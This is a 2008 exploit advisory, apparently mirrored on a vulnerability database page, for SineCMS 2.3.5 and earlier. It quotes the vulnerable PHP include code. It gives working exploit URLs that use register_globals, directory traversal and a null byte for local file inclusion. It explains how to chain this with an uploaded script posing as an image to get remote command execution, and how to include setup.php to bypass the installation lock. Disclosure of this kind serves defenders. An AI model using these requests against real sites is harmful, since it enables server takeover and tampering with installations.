SineCMS <= 2.3.5 Local File Inclusion / RCE Vulnerabilities

🗓️ 07 Jan 2008 00:00:00Reported by RootType
SineCMS 2.3.5 Local File Inclusion / RCE Vulnerabilities, Register_globals O

                                                [*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__________&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;____&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
&nbsp;|&nbsp;&nbsp;/_&nbsp;&nbsp;&nbsp;|&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|__\_____&nbsp;&nbsp;\&nbsp;&nbsp;_____/&nbsp;&nbsp;|_&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/_&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;|_&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|&nbsp;_(__&nbsp;&nbsp;&lt;_/&nbsp;___\&nbsp;&nbsp;&nbsp;__\&nbsp;&nbsp;______&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;__\&nbsp;&nbsp;&nbsp;&nbsp;|
&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\___|&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;/_____/&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;||&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
&nbsp;|&nbsp;&nbsp;&nbsp;|___|___|&nbsp;&nbsp;/\__|&nbsp;&nbsp;/______&nbsp;&nbsp;/\___&nbsp;&nbsp;&gt;__|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|___||__|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\______|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
&nbsp;|	Sine&nbsp;CMS&nbsp;Local&nbsp;File&nbsp;Inclusion&nbsp;/&nbsp;RCE&nbsp;(Register_globals:&nbsp;ON)&nbsp;&nbsp;&nbsp;&nbsp;|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
&nbsp;|			Version:&nbsp;&lt;=&nbsp;2.3.5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
&nbsp;|			Vendor:&nbsp;www.sinecms.net&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
&nbsp;|			Discovered&nbsp;by:&nbsp;KiNgOfThEwOrLd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
				Intro:

Sine&nbsp;cms&nbsp;is&nbsp;affected&nbsp;by&nbsp;a&nbsp;local&nbsp;file&nbsp;inclusion&nbsp;vulnerabily&nbsp;with&nbsp;
register_globals&nbsp;on.
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
				Related&nbsp;code:

/mods/Integrated/index.php

&lt;?
if&nbsp;($_GET[page]==&quot;source&quot;){
	include&nbsp;&quot;mods/Integrated/source.php&quot;;
}&nbsp;else&nbsp;{
	//&nbsp;cerca&nbsp;la&nbsp;home&nbsp;e&nbsp;la&nbsp;themizza
	include_once&nbsp;(&quot;mods/&quot;.$sine[config][index_main].&quot;/index.php&quot;);
	$mods&nbsp;=&nbsp;$sine[config][index_main];
}
?&gt;
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
				PoC:

Usually,&nbsp;this&nbsp;is&nbsp;a&nbsp;correctly&nbsp;code,&nbsp;with&nbsp;no&nbsp;possible&nbsp;exploitation.&nbsp;But&nbsp;if&nbsp;
register_globals&nbsp;is&nbsp;ON,&nbsp;we&nbsp;can&nbsp;edit&nbsp;via&nbsp;GET&nbsp;the&nbsp;$sine[config][index_main]&nbsp;
value,&nbsp;and&nbsp;then,&nbsp;using&nbsp;null&nbsp;byte,&nbsp;we'll&nbsp;get&nbsp;a&nbsp;local&nbsp;file&nbsp;inclusion&nbsp;
vulnerability&nbsp;like:

http://localhost/sinecms/mods/Integrated/index.php?sine[config][index_main]=
{FILE_TO_INCLUDE}%00

But&nbsp;pay&nbsp;attention,&nbsp;in&nbsp;this&nbsp;way&nbsp;the&nbsp;include_one&nbsp;function&nbsp;will&nbsp;try&nbsp;to&nbsp;include&nbsp;
&quot;mods/{FILE}&quot;;&nbsp;certainly,&nbsp;using&nbsp;the&nbsp;directory&nbsp;traversal&nbsp;var,&nbsp;we&nbsp;can&nbsp;surf&nbsp;and&nbsp;
include&nbsp;any&nbsp;files,&nbsp;but&nbsp;&quot;mods/{FILE}&quot;&nbsp;is&nbsp;different&nbsp;from&nbsp;&quot;/mods/{FILE}&quot;!&nbsp;In&nbsp;fact,&nbsp;
in&nbsp;this&nbsp;case,&nbsp;the&nbsp;script&nbsp;will&nbsp;try&nbsp;to&nbsp;include&nbsp;&quot;/mods/Integrated/mods/{FILE}&quot;!&nbsp;
So,&nbsp;the&nbsp;cms&nbsp;root&nbsp;path&nbsp;will&nbsp;be&nbsp;accessible&nbsp;with&nbsp;&quot;../../../&quot;&nbsp;and&nbsp;not&nbsp;&quot;../../&quot;.
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
		How&nbsp;to&nbsp;get&nbsp;a&nbsp;Remote&nbsp;Command&nbsp;Execution

Sine&nbsp;CMS,&nbsp;allows&nbsp;everybody&nbsp;to&nbsp;send&nbsp;a&nbsp;news&nbsp;with&nbsp;an&nbsp;image,&nbsp;uploadable&nbsp;directly&nbsp;
on&nbsp;the&nbsp;host.&nbsp;Then,&nbsp;uploading&nbsp;an&nbsp;evil&nbsp;script&nbsp;as&nbsp;an&nbsp;image,&nbsp;we'll&nbsp;get&nbsp;a&nbsp;shell&nbsp;in&nbsp;
/mods/Core/data/images/{EVIL_IMAGE}.&nbsp;Now,&nbsp;including&nbsp;that&nbsp;file&nbsp;by&nbsp;the&nbsp;local&nbsp;file&nbsp;
inclusion&nbsp;vulnerability&nbsp;that&nbsp;i've&nbsp;just&nbsp;explaned&nbsp;we'll&nbsp;get&nbsp;a&nbsp;remote&nbsp;command&nbsp;
execution.
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
				Exploit:

http://localhost/sinecms/mods/Integrated/index.php?sine[config][index_main]=..
/../Core/data/images/{EVIL}.jpg%00
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
			Just&nbsp;a&nbsp;little&nbsp;security&nbsp;issue

Realted&nbsp;code:

setup.php&nbsp;@&nbsp;line&nbsp;98

[...]
if(file_exists(&quot;./sine.lock&quot;))&nbsp;$locked=1;
[...]
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
				PoC:

After&nbsp;the&nbsp;installation,&nbsp;sine&nbsp;cms&nbsp;makes&nbsp;a&nbsp;file&nbsp;(sine.lock),&nbsp;to&nbsp;check&nbsp;if&nbsp;the&nbsp;cms&nbsp;
has&nbsp;been&nbsp;already&nbsp;installed.&nbsp;But&nbsp;the&nbsp;condition&nbsp;is&nbsp;true&nbsp;if&nbsp;&quot;./sine.lock&quot;&nbsp;exist,&nbsp;
so&nbsp;only&nbsp;if&nbsp;there&nbsp;is&nbsp;sine.lock&nbsp;in&nbsp;the&nbsp;current&nbsp;work&nbsp;dir!&nbsp;Then,&nbsp;including&nbsp;via&nbsp;
local&nbsp;file&nbsp;inclusion&nbsp;&quot;setup.php&quot;&nbsp;the&nbsp;condition&nbsp;will&nbsp;result&nbsp;false,&nbsp;and&nbsp;we&nbsp;can&nbsp;
rewrite,&nbsp;delete,&nbsp;or&nbsp;edit&nbsp;the&nbsp;installation.
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
				Exploit:

http://localhost/sinecms/mods/Integrated/index.php?sine[config][index_main]=..
/../../setup.php%00
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
07 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1
SineCMS &lt;= 2.3.5 Local File Inclusion / RCE Vulnerabilities

SineCMS <= 2.3.5 Local File Inclusion / RCE Vulnerabilities
